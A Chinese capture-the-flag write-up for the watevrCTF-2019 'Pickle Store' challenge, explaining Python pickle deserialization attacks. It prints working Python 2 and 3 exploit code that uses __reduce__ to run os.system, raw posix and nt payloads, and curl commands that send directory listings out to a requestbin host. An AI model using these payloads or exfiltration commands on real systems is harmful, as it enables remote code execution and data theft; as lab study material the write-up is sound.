刷题记录:[watevrCTF-2019]Pickle Store

题目复现链接:https://buuoj.cn/challenges
参考链接:watevrCTF 2019 - Write-ups

python反序列化

Python pickle 反序列化实例分析
这篇文章讲的很全了

基本上这样的exp就可以了,这是python2的

import cPickle
import sys
import base64

COMMAND = sys.argv[1]

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print base64.b64encode(cPickle.dumps(PickleRce()))

python3的也差不多

import pickle
import base64


class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system, ('curl http://http.requestbin.buuoj.cn/17ozn5q1',))


print(base64.b64encode(pickle.dumps(PickleRce(), protocol=0)))

这里我主要要说的是我做这道题的时候payload是在windows上用pycharm生成的,但是一直不成功,而在unix上就可以,而且两个平台上出来的payload是不一样的,在unix上是这样的

cposix
system
p1
(S'sleep 5'
p2
tRp3
.

在windows上是这样的

cnt
system
p0
(Vsleep 5
p1
tp2
Rp3
.

最主要的原因就是第一行引入的模块,nt是windows平台下的一个python包,用来和windows系统交互,posix则是unix对应的包,题目靶机是unix的,用windows的payload自然失败。

OOB

另外扫目录的时候有个问题,ls返回的数据没法直接curl,只会返回第一行,我用了两种比较蠢的方法,第一种是

curl http://http.requestbin.buuoj.cn/17ozn5q1/?a=`ls / | base64 | sed -n "1p"`
curl http://http.requestbin.buuoj.cn/17ozn5q1/?a=`ls / | base64 | sed -n "2p"`

不知道为什么base64之后还是两行,只能分两行读,第二种是

curl http://http.requestbin.buuoj.cn/17ozn5q1/?a=`printf %s \`ls /\``

对不起,我是傻逼

curl http://http.requestbin.buuoj.cn/17ozn5q1 -d "`ls`"
原文地址:https://www.cnblogs.com/20175211lyz/p/12310293.html